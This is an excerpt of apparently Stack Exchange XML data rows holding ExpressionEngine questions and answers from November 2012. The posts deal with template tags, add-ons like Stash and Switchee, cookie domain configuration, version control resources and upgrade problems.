  <row Id="408" PostTypeId="2" ParentId="370" CreationDate="2012-11-26T22:20:00.493" Score="8" Body="&lt;p&gt;The easiest way to do this would be to have the following in your template somewhere for the default shipping plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout}&#xA;&amp;lt;label&amp;gt;Shipping Country&amp;lt;/label&amp;gt;&#xA;{field:shipping_country}&#xA;&#xA;&amp;lt;label&amp;gt;Shipping State&amp;lt;/label&amp;gt;&#xA;{field:shipping_region}&#xA;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;update_cart&quot; value=&quot;Update Shipping&quot; class=&quot;btn&quot; /&amp;gt;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would want to change that to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout}&#xA;&amp;lt;label&amp;gt;Shipping Country&amp;lt;/label&amp;gt;&#xA;{field:shipping_country}&#xA;&#xA;&amp;lt;label&amp;gt;Shipping Zip&amp;lt;/label&amp;gt;&#xA;{field:shipping_postcode}&#xA;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;update_cart&quot; value=&quot;Update Shipping&quot; class=&quot;btn&quot; /&amp;gt;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are using FedEx/USPS/UPS plugins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few things to mention though so you don't get weird behavior. In the Store &gt;&gt; Settings &gt;&gt; Genereal page you will want to make sure that the &quot;Default Shipping Address&quot; field is set to either &quot;None&quot; or &quot;Billing Address same as Shipping&quot; if you have &quot;Shipping Address same as Billing&quot; you will need to change the fields to &lt;code&gt;{field:billing_country}, {field:billing_region}, and {field:billing_postcode}&lt;/code&gt; respectively so that Store will calculate your shipping cost.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-11-26T22:20:00.493" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="409" PostTypeId="1" CreationDate="2012-11-26T22:21:44.823" Score="1" ViewCount="63" Body="&lt;p&gt;I am using the &lt;a href=&quot;http://devot-ee.com/add-ons/cloner&quot; rel=&quot;nofollow&quot;&gt;Cloner extension&lt;/a&gt; with EE 1.7, and I can't work out how to give one of my users access to duplicate and clone an entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can do this as a superadmin, but I'm not sure whether I can grant access to a content contributor. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NB&lt;/strong&gt; I'm currently using EE 1.7 (Yes, I know this is outdated).&lt;/p&gt;&#xA;" OwnerUserId="340" LastEditorUserId="104" LastEditDate="2012-11-29T00:14:07.760" LastActivityDate="2013-01-04T19:36:45.817" Title="Grant cloning extension for a user" Tags="|ee1|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="410" PostTypeId="2" ParentId="386" CreationDate="2012-11-26T22:22:33.790" Score="3" Body="&lt;p&gt;Although I'm unfamiliar with that plugin I doubt it's the best tool for this particular job. By the look of it that's essentially a wrapper for &lt;a href=&quot;http://uk.php.net/manual/en/function.substr-count.php&quot; rel=&quot;nofollow&quot;&gt;substr_count&lt;/a&gt; which is not going to work reliably in this context. For example, if your haystack was '243,423' and your needle was '2' the function would return 2, because the string contains two instances of the character '2'. Which is useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you really want to do is check a value against an array. I'd suggest using &lt;a href=&quot;https://github.com/croxton/Switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt;. Assuming you can format &lt;code&gt;{member-groups}&lt;/code&gt; as a pipe-delimited string (e.g. &lt;code&gt;8|241|33&lt;/code&gt;) you could do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;global:member_group&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;{member-groups}&quot;}&#xA;        We have a match!&#xA;    {/case} &#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Having more closely replicated what you're trying to do I've realised that &lt;code&gt;{member_group}&lt;/code&gt; is a late-parsed variable which means that Switchee does not have access to it (i.e. it receives the raw variable name every time). That's why you weren't getting any matches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fortunately Mark's &lt;a href=&quot;https://github.com/croxton/Switchee/tree/develop&quot; rel=&quot;nofollow&quot;&gt;Switchee developer branch&lt;/a&gt; has support for late-parsed global vars so there's a simple solution. Install that if you haven't already and change &lt;code&gt;variable=&quot;{member_group}&quot;&lt;/code&gt; to &lt;code&gt;variable=&quot;global:member_group&quot;&lt;/code&gt;. I've updated my sample code accordingly.&lt;/p&gt;&#xA;" OwnerUserId="77" LastEditorUserId="77" LastEditDate="2012-11-29T18:50:20.173" LastActivityDate="2012-11-29T18:50:20.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="411" PostTypeId="2" ParentId="405" CreationDate="2012-11-26T22:22:43.380" Score="5" Body="&lt;p&gt;You could do this combining Stash and the allow_eecode plugin. &lt;a href=&quot;http://www.tyssendesign.com.au/articles/cms/more-stash-examples/&quot;&gt;http://www.tyssendesign.com.au/articles/cms/more-stash-examples/&lt;/a&gt; has a great example of the functionality you're trying to achieve (example 1 wp shortcode).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For stash see &lt;a href=&quot;https://github.com/croxton/Stash&quot;&gt;https://github.com/croxton/Stash&lt;/a&gt;, allow_eecode &lt;a href=&quot;http://devot-ee.com/add-ons/allow-ee-code&quot;&gt;http://devot-ee.com/add-ons/allow-ee-code&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2012-11-26T22:22:43.380" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="412" PostTypeId="2" ParentId="405" CreationDate="2012-11-26T22:25:11.593" Score="4" Body="&lt;p&gt;I have a new module called &lt;a href=&quot;http://devot-ee.com/add-ons/shortcode&quot; rel=&quot;nofollow&quot;&gt;Shortcode&lt;/a&gt; coming out soon which enables this type of thing. It is a bit more restrictive in that it only allows tags that have been setup for it to be parsed since it'd be very unsafe to allow for open ended template code to be entered as content. That said, it's trivial to add new Shortcodes to the module with just a few lines of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, you could easily insert a ProForm form using this tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[form form_name=&quot;application_form&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know if you'd like a demo by posting in the Shortcode &lt;a href=&quot;http://devot-ee.com/add-ons/support/shortcode/viewthread/7251&quot; rel=&quot;nofollow&quot;&gt;forum&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2012-11-26T22:25:11.593" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="413" PostTypeId="2" ParentId="405" CreationDate="2012-11-26T22:25:58.693" Score="5" Body="&lt;p&gt;Stash, yet again(!), is the answer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {exp:stash:parse process=&quot;end&quot;}&#xA;        {advanced_functionality}&#xA;    {/exp:stash:parse}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... this does the trick for parsing snippets&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then if you want to get more creative with custom shortcodes instead of snippets, you'd use stash:set first like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;shortcode_inside_field&quot; type=&quot;snippet&quot;}&#xA;    &amp;lt;p&amp;gt;Hi there! It's important to set type=&quot;snippet&quot; so that {shortcode_inside_field} will get automatically replaced with this sentence by the stash:parse tag later on.&amp;lt;/p&amp;gt;&#xA;    ... now run all kinds of complicated EE tags here to generate the content of the shortcode (be sure to add parse_tags=&quot;yes&quot;) ....&#xA;{/exp:stash:set}&#xA;&#xA;{exp:channel:entries}&#xA;    {exp:stash:parse process=&quot;end&quot;}&#xA;        {advanced_functionality}                &#xA;    {/exp:stash:parse}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2012-11-26T23:35:33.923" LastActivityDate="2012-11-26T23:35:33.923" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="414" PostTypeId="2" ParentId="398" CreationDate="2012-11-26T22:31:05.087" Score="8" Body="&lt;p&gt;Ok, this was solved by using a combination of the replies from @mediagirl and @andiefairlie, neither were quite there but they led me to the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I didn't state in the question that I am using &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot;&gt;https://github.com/focuslabllc/ee-master-config&lt;/a&gt; for this set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue was that the login was setting the cookies' domain to the original site (a production site that has been cloned), so &lt;code&gt;.original-site.com&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On local this didn't cause an issue as the site was set at &lt;code&gt;local.original-site.com&lt;/code&gt; and the domain was correct. In contrast when it is on the dev server it is &lt;code&gt;original-site.my-dev-server.com&lt;/code&gt; and the cookie domain is now an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To resolve this I added the following to the &lt;strong&gt;config/config.dev.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['cookie_domain']   = 'my-dev-server.com';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and all was well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am unsure if this tied to EE v2.1.3 or a weirdness in this particular install, as I do not run into this on later versions. (I am not the original dev) Your mileage may vary of course.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2012-11-26T22:31:05.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="415" PostTypeId="2" ParentId="405" CreationDate="2012-11-26T22:32:20.727" Score="0" Body="&lt;p&gt;Hmm, good question. I dont think this would be possible with snippets, as they are always parsed too early. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the sounds of things this is basically what the &lt;a href=&quot;http://devot-ee.com/add-ons/shortcode&quot; rel=&quot;nofollow&quot;&gt;Shortcodes&lt;/a&gt; addon will offer - though that isn't publicly available yet - maybe @IsaacRaway can chip in and let us know?&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-11-26T22:32:20.727" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="416" PostTypeId="2" ParentId="387" CreationDate="2012-11-26T22:34:42.220" Score="20" Body="&lt;p&gt;Since you're already familiar with EE, I think step 1 should be to take some time to learn the basics of version control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are more good tutorials out there than you can shake a stick at:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rogerdudler.github.com/git-guide/&quot;&gt;Git Simple Guide&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://gititon.masugadesign.com/&quot;&gt;Ryan Masuga EECI Talk from 2010&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://hoth.entp.com/output/git_for_designers.html&quot;&gt;Version Control Tutorial for Designers&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://gitimmersion.com/&quot;&gt;Git Immersion&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://git-scm.com/book&quot;&gt;Git Book Online&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.codeschool.com/courses/try-git&quot;&gt;Free course on Code School&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And some paid training courses to consider:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.lynda.com/Git-training-tutorials/1383-0.html&quot;&gt;Lynda.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.codeschool.com/courses/git-real&quot;&gt;Code School&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I first started using git, I forced myself to use the command line for a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then once I got familiar enough with the process and terms I started using a git GUI app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After your initial commit, most of your commits will be in the template files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use snippets heavily, I'd also suggest using an add-on that lets you save snippets as files. Your database is not version controlled, so snippets would have to be edited in the control panel otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="336" LastActivityDate="2012-11-26T22:34:42.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="417" PostTypeId="2" ParentId="386" CreationDate="2012-11-26T22:47:11.580" Score="3" Body="&lt;p&gt;Not sure of the underlying cause but a similar issue was reported in the comments for phpstringfun which remains unanswered: &lt;a href=&quot;http://engaging.net/docs/phpstringfun#comment28&quot; rel=&quot;nofollow&quot;&gt;http://engaging.net/docs/phpstringfun#comment28&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As others have advised I would look for another solution. You don't need to convert the {member-groups} field to be pipe-delimited to use switchee as you can set a case conditional to use regular expressions - see the sample code on devout:ee: &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/switchee&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2012-11-26T22:47:11.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="418" PostTypeId="2" ParentId="409" CreationDate="2012-11-26T22:50:22.567" Score="1" Body="&lt;p&gt;Have you restricted which sections of the Control Panel the other User Group can access? If so, this is probably what's causing the issue. It's been awhile, but there is at least the &quot;Can access MODULES page&quot; permission, which you may need to enable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've mirrored the EE 1.x docs &lt;a href=&quot;http://metasushi.com/documentation/ee1/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for reference since they have been taken offline. The Groups page is &lt;a href=&quot;http://metasushi.com/documentation/ee1/cp/admin/members_and_groups/member_groups_edit.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2012-11-26T22:50:22.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="419" PostTypeId="2" ParentId="348" CreationDate="2012-11-26T22:52:24.520" Score="8" Body="&lt;p&gt;How about John Wells' Minimee?  &lt;a href=&quot;http://johndwells.github.com/Minimee/&quot;&gt;http://johndwells.github.com/Minimee/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It minifies the rendered HTML (EE 2.4+), and as far as I know, that's what you're looking for? I've only used it for CSS/JS and it works fabulously for that.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2012-11-26T22:52:24.520" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="420" PostTypeId="2" ParentId="388" CreationDate="2012-11-26T23:14:14.263" Score="4" Body="&lt;p&gt;With the size of businesses here in Santa Fe (clients are already overstretched in this economy), and the turnover at nonprofits, it's easier to purchase licenses here in the studio and manage them for clients. Otherwise I'd be spending (wasting) way too much time tracking down vital information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is the tendency for overkill in managing such information. Rather than use a system that is based on outside services in order to keep track of all info, I have a simple solution: &lt;strong&gt;BBEdit&lt;/strong&gt;. Yojimbo, Evernote, Basecamp and other apps and services have been giving me fits - it's the old story, very familiar to old school webloggers who used the original blogging systems. &quot;What you put in, you can't necessarily get out in any usable form.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So ... I have an all-encompassing project set up in BBEdit, and all my information for a given client goes into folders within that project. This could be duplicated with E Text Editor or whatever such editor you use. All important login/configuration/email setup/etc. materials get added to this BBEdit project as individual .txt files. I carry mine on a protected thumb drive when out and about. Can be easily backed up to a secure (note I say &lt;em&gt;secure&lt;/em&gt;) cloud service. [Come to think of it, it could even be handled/extended through Git if one desired. Now &lt;em&gt;there's&lt;/em&gt; a way to overdo it.] I occasionally copy off a dated version of all clients and dump the project on an external backup system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bottom line: Text files mean I can open that information anywhere - on any system - with a text editor. Small footprint, easy to make backups and keep that information safe. Clients remain impressed I have all their configuration information at my fingertips, no matter where I am, or what gear I have with me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I find simple's better. Tip: your naming conventions will matter, when you get in a production rush. Be consistent with filenames and folders!&lt;/p&gt;&#xA;" OwnerUserId="341" LastActivityDate="2012-11-26T23:14:14.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="421" PostTypeId="1" AcceptedAnswerId="423" CreationDate="2012-11-26T23:48:54.443" Score="1" ViewCount="178" Body="&lt;p&gt;Has the ability to use and parse &lt;code&gt;{exp}&lt;/code&gt; tags within custom fields been absorbed into the EE system proper, or is the Allow EE Code plugin still needed to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's still needed, might you be able to point to where it is? EL appears to have moved the download page.&lt;/p&gt;&#xA;" OwnerUserId="342" LastEditorUserId="55" LastEditDate="2012-11-28T15:06:57.507" LastActivityDate="2012-11-28T15:06:57.507" Title="Plugin: allow_eecode - needed or not?" Tags="|add-on|plugin|allow-eecode|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="422" PostTypeId="2" ParentId="387" CreationDate="2012-11-26T23:53:21.207" Score="5" Body="&lt;p&gt;This series of posts is quite helpful, whether you're PC or Mac:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.johnfaulds.com.au/journal/developing-expressionengine-sites-with-mamp-git-tower-and-beanstalk-part-1/&quot;&gt;http://www.johnfaulds.com.au/journal/developing-expressionengine-sites-with-mamp-git-tower-and-beanstalk-part-1/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.johnfaulds.com.au/journal/developing-expressionengine-sites-with-mamp-git-tower-and-beanstalk-part-2/&quot;&gt;http://www.johnfaulds.com.au/journal/developing-expressionengine-sites-with-mamp-git-tower-and-beanstalk-part-2/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be EXTREMELY nice to have a definitive EE/Git 'guide.' Something that documents 'best practices' and proper workflow. It would be a huge benefit to the community at large.&lt;/p&gt;&#xA;" OwnerUserId="341" LastActivityDate="2012-11-26T23:53:21.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="423" PostTypeId="2" ParentId="421" CreationDate="2012-11-26T23:55:48.780" Score="7" Body="&lt;p&gt;Nope - it's still an add-on. You can find it on &lt;a href=&quot;https://github.com/EllisLab/Allow-Eecode&quot;&gt;github&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="198" LastActivityDate="2012-11-26T23:55:48.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="424" PostTypeId="1" AcceptedAnswerId="425" CreationDate="2012-11-26T23:56:08.337" Score="1" ViewCount="141" Body="&lt;p&gt;I'm in the middle of updating an EE 1.6.9 site to 2.5.2. Everything went smoothly up until I verified the content. For some reason any time there's a comma and/or an apostrophe the channel data and categories are all truncated from that point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to research this as best I could but it's been tough to figure out. Has anyone else ran into this?&lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2012-11-27T00:02:51.923" Title="Update 1.6.9 to 2.5.2 Truncated content after commas/apostrophe" Tags="|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="425" PostTypeId="2" ParentId="424" CreationDate="2012-11-27T00:02:51.923" Score="5" Body="&lt;p&gt;You may want to consider updating to the latest 1.x branch (1.7.3) before upgrading to 2.x. That's solved all issues for me in the past.&lt;/p&gt;&#xA;" OwnerUserId="198" LastActivityDate="2012-11-27T00:02:51.923" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="426" PostTypeId="2" ParentId="388" CreationDate="2012-11-27T00:04:33.867" Score="2" Body="&lt;p&gt;I currently buy the addons for my clients and manage registration numbers by using &lt;a href=&quot;http://www.activecollab.com/&quot; rel=&quot;nofollow&quot;&gt;ActiveCollab&lt;/a&gt; (similar to basecamp) I create a notebook that has pages for reg #s as well as ftp/domain info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find having the client purchase things is a bit of a pain in generally. I do however send them all the information they'll need to re-install the addon if needed (original zip file + number).&lt;/p&gt;&#xA;" OwnerUserId="63" LastActivityDate="2012-11-27T00:04:33.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="428" PostTypeId="1" AcceptedAnswerId="429" CreationDate="2012-11-27T01:06:16.597" Score="1" ViewCount="246" Body="&lt;p&gt;I'm able to get a simple search:custom_field=&quot;something&quot; working fine after reading the docs. However, I'd like it to search three fields to see if the parameter passed through segment_3 is met and then display the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;products&quot;&#xA;    dynamic=&quot;no&quot; &#xA;    search:product_category=&quot;{segment_3}&quot; OR&#xA;    search:product_by_colour=&quot;{segment_3}&quot; OR&#xA;    search:product_by_collection=&quot;{segment_3}&quot;&#xA;    search:product_for_sale=&quot;y&quot;&#xA;    search:product_popup_only=&quot;=not y&quot;&#xA;    orderby=&quot;product_price|product_sku&quot; sort=&quot;asc|asc&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="313" LastEditorUserId="77" LastEditDate="2012-11-27T10:39:15.557" LastActivityDate="2012-11-27T15:25:57.290" Title="See if URL segment is in either of the custom fields and then show results" Tags="|channel|search|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="429" PostTypeId="2" ParentId="428" CreationDate="2012-11-27T01:14:15.610" Score="8" Body="&lt;p&gt;You cannot use OR clauses inside of a {exp:channel:entries} tag. The best way to handle this would be to write a custom plugin that would do the selection, or use the &lt;a href=&quot;http://devot-ee.com/add-ons/activerecord&quot;&gt;Active Record&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should not use the built-in Query plugin because it unsafe to pass user-submitted values (such as {segment_*} variables) to this plugin, while the Active Record plugin does escape any of these values for you.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2012-11-27T01:14:15.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="430" PostTypeId="2" ParentId="238" CreationDate="2012-11-27T01:20:07.997" Score="3" Body="&lt;p&gt;Possible yes. Confusing? Depends on the client and what the other content is. Have you considered using Structure's Assets? That might help too (though Jason makes an excellent point with ZFA).&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2012-11-27T01:20:07.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="431" PostTypeId="2" ParentId="238" CreationDate="2012-11-27T01:26:29.010" Score="3" Body="&lt;p&gt;You might also try Zoo Flexible Admin with Low-Reorder. I have found this combo lets me control the backend client experience to a really high degree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low Reorder lets you rearrange channel entries display order, and also now links directly to each channel entry from the reorder list.&lt;/p&gt;&#xA;" OwnerUserId="165" LastActivityDate="2012-11-27T01:26:29.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="432" PostTypeId="1" AcceptedAnswerId="435" CreationDate="2012-11-27T02:00:23.287" Score="3" ViewCount="576" Body="&lt;p&gt;Whilst not really an EE specific question, I have need to present the user with a Freeform and have them type in their unique ID# which relates to another channel full of &quot;companies&quot; but I'd like to be able to query the number they type in, match it against a &quot;companies&quot; unique ID and pre populate the rest of the fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know their is no single answer but any guides anyone can offer would be invaluable at this point in time.I'm a bit of an ajax N00b to boot!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recap:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enter 10 digit unique ID&lt;/li&gt;&#xA;&lt;li&gt;Query the &quot;Companies&quot; channel for ID&lt;/li&gt;&#xA;&lt;li&gt;If found, populate forms address, suburb, state etc from Company/Channel/info&lt;/li&gt;&#xA;&lt;li&gt;They can then get on with the remainder of the fields.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="166" LastEditorUserId="268" LastEditDate="2012-11-27T15:44:55.453" LastActivityDate="2012-11-27T15:44:55.453" Title="Ajax pre-populate" Tags="|forms|ajax|pre-populate|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="433" PostTypeId="1" AcceptedAnswerId="478" CreationDate="2012-11-27T02:09:17.350" Score="17" ViewCount="386" Body="&lt;p&gt;I have the following code in a template that I use to prepare the data for an embedded template using the Stash partials approach. It is for a single entry page that draws data from an entry that can have one or more images stored in a Matrix field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;business_listing&quot; parse_tags=&quot;yes&quot;}&#xA;  {stash:title}{title}{/stash:title}&#xA;  {stash:address_1}{b_address_1},{/stash:address_1}&#xA;  {stash:address_2}{b_address_2},{/stash:address_2}&#xA;  {stash:city}{b_city},{/stash:city}&#xA;  {b_images}&#xA;    {exp:stash:append_list:nested name=&quot;business_images&quot; parse_tags=&quot;yes&quot;}&#xA;    {stash:image}{b_img}{/stash:image}&#xA;    {/exp:stash:append_list:nested}&#xA;  {/b_images}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I am using the &lt;code&gt;set_list&lt;/code&gt; on the outside and the &lt;code&gt;append_list:nested&lt;/code&gt; inside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I fetch these in the embedded template like so,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;business_listing&quot; orderby=&quot;title&quot;}&#xA;  &amp;lt;ul class=&quot;business-images slides&quot;&amp;gt;&#xA;    {exp:stash:get_list:nested name=&quot;business_images&quot; orderby=&quot;&quot;}&#xA;    &amp;lt;li&amp;gt;&#xA;    {exp:ce_img:pair src=&quot;{image}&quot; width=&quot;277&quot; height=&quot;175&quot; crop=&quot;yes&quot;}&#xA;      &amp;lt;img src=&quot;{made}&quot; alt=&quot;{title}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&#xA;    {/exp:ce_img:pair}&#xA;    &amp;lt;/li&amp;gt;&#xA;    {/exp:stash:get_list:nested}&#xA;  &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;  {address_1}&#xA;  {address_2}&#xA;  {city}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now whilst this code works&lt;/strong&gt;, I am not sure that it is the best way to do this. &lt;strike&gt;The &lt;code&gt;{stash:image_{count}}{b_img}{/stash:image_{count}}&lt;/code&gt; feels decidedly dodgy&lt;/strike&gt;, and as you can see I have left the &lt;code&gt;orderby&lt;/code&gt; blank as I am not 100% sure what to put in there for a matrix field (that has only one column 'b_img').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if anyone would like to chime in and give me some wisdom on this I would love to hear it.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="112" LastEditDate="2012-11-27T11:58:34.030" LastActivityDate="2012-12-21T20:06:28.600" Title="What is the best way to handle a matrix field in Stash" Tags="|templates|stash|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="434" PostTypeId="2" ParentId="432" CreationDate="2012-11-27T02:18:28.277" Score="3" Body="&lt;p&gt;Something like &lt;a href=&quot;http://madebyhippo.com/blog/view/clientside_username_checking_ee_and_jquery&quot; rel=&quot;nofollow&quot;&gt;MadeByHippo's post&lt;/a&gt; is a good starting point for querying the DB for the details and return the data that you need via AJAX. With channel data you would need a slightly more complex query but the basis is there.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-11-27T02:18:28.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
